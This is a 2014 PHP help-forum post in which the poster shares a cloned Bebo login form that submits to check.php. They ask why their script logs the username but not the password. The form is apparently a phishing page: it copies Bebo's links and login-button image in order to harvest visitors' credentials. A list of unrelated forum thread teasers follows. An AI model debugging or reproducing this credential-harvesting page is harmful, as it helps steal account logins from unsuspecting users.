PHP Logging Error
Posted on
16th Feb 2014 07:03 pm by
admin
When running the script on website it doesn't copy both input boxes, Only the user and not the password, Any help would be great.. Heres the code, It's suppose to log the username and the password, but only the username comes up :|
Code: [Select]
<!-- Begin Login Form -->
<div id="login-box">
<a href="http://bebo.com/LostPassword.jsp" class="lost-password">Lost Password</a>
<h2>Login</h2>
<form id="login-form" action="check.php" method="post">
<table width="100%" border="0" cellpadding="0" cellspacing="0">
<tbody>
<tr>
<td><input type="text" id="username" name="EmailUsername" value="Email or Username" class="field" /></td>
<td>
<input type="text" id="passwordHolder" name="PasswordHolder" value="Password" class="field" />
<input type="password" id="password" name="Password" value="" class="field" style="display:none;" />
</td>
</tr>
<tr>
<td colspan="2" id="remember-field">
<input type="image" id="login-button" src="http://s.bebo.com/img/page/login-btn.png" alt="Login" name="SignIn" value="Sign In" />
<input type="checkbox" id="RememberMe" name="RememberMe" value="Y" />
<label for="RememberMe">Automagically for 2 weeks</label>
</td>
</tr>
</tbody>
</table>
</form>
<!-- form label/focus script -->
<script language="javascript">
if($defined($('username'))) { //not logged in
emptyUsernameText = $('username').value;
$('username').addEvent('focus', function(event) {
if(emptyUsernameText==this.value)
this.value = "";
});
$('username').addEvent('blur', function(event) {
if(this.value.trim()=="")
this.value = emptyUsernameText;
});
$('passwordHolder').addEvent('focus',function(event) {
this.setStyle('display','none');
$('password').setStyle('display','inline');
$('password').focus();
});
$('password').addEvent('blur',function(event) {
if(this.value.trim() == "") {
this.setStyle('display','none');
$('passwordHolder').setStyle('display','inline');
}
});
}
</script>
<div id="login-links">
<span id="more-info"></span>
<span id="sign-up"><a href="http://bebo.com/InviteJoin.jsp?Member=N">SIGN UP</a></span>
</div>
</div>
<!-- End Login Form -->
No comments posted yet
Your Answer:
Login to answer
184
6
Other forums
A rank users order by points
I want to make an insert from table 'rank' , with number (rank) from the cod blow, to fild users.ran
More pug propaganda.
http://www.youtube.com/watch?v=8Kkrmubsgf8
The commercial is definitely worth watching pug aw
Referential Integrity problem when inserting into 2 tables at same time
Hello Everyone,
Im relativity new to PHP and MySQL and i have come up against a problem. i h
Is it a good practice to store user info. in sessions?
I am making a user class for my script which stores all the user information in sessions. It takes u
Procedural to OOP
John Kleijn said that to avoid writing "crappy code", we should learn OOP and common OO pr
Force download script not handling files with spaces properly
I have a regular old php force download script, uses this code:
Code: header("Cache-Cont
mail with attachment problems
Hi. I have the following code:
Code: else if(file_exists("site".$timp.".zip")
Count of reciepients in php mailer
How can i sent a mail to large no of reciepients say 10,00,00 Using PHP MAILER
Problem with coding MySQL query
I'm having heaps of trouble getting one of my PHP/MySQL queries to work for some reason (and the fun
undefined offset help
Hi All,
I kept getting undefined offset PHP notice for a simple for loop. For eg
$va = arr